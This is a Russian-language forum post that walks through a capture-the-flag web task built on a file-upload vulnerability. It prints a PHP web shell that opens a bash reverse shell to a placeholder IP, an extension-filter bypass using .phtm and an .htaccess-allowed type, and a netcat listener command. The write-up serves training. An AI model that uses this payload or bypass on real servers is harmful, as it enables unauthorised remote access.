stensil4rt
One Level
Это моя первая статья на данном Форуме, поэтому прошу не кидаться тапками.
Рассмотрим таск под названием - Файлообменник из категории Веб.
Ссылка на задание: Игры Кодебай | CTF-платформа
Данный таск интересен тем, что он как бы и легкий, а как бы и нет. В нем необходимо, просто внимательно смотреть =)
И так приступим:
Начнем с того, что сначала мы смотрим что дано в самом задании, кроме IP и порта, иногда там могут быть хинты. В данном таске есть файл — task.zip, качаем его — он нам еще пригодиться, не просто же он нам дан.
Заходим на IP:порт и первое что мы замечаем, есть возможность загрузить файл. Сразу приходим на ум, что есть уязвимость вида: File Upload. Забегая веред, она там есть.
Пытаемся ее воспользоваться. Открываем в BurpSuite, и грузим файл вида file.php с содержимым:
PHP:
<?php echo system("bash -c 'sh -i >& /dev/tcp/IP/1234 0>&1'"); ?>
Что мы видим, файлы с расширением php грузить нельзя.
Значит надо изменить расширение файла, воспользовавшись Google, найдем на популярном сайте book.hacktricks.xyz (File Upload) расширения PHP.
Воспользуемся расширением *.phtm
Файл загрузился. Открываем данный файл в браузере, и видим, что данный файл не исполняется, значит данная директория заблокирована на исполнение файлов.
Первое, что приходит в голову, файл .htaccess. Вот тут нам и понадобиться тот файл (task.zip). Находим файл .htaccess и анализируем. Видим 20 строчку, где сказано, что нам разрешено загрузку файлов с расширением .x-httpd-php.
Воспользуемся этим.
Запускаем у себя NetCat (nc -lnvp 1234) и открываем файл.
Попадаем на сервак и ищем файл fl4g.txt, где и лежит наш флаг.
Надеюсь статья была полезна для Вас! Если найдете неточности или ошибки - обязательно напишите об этом в комментариях к статье.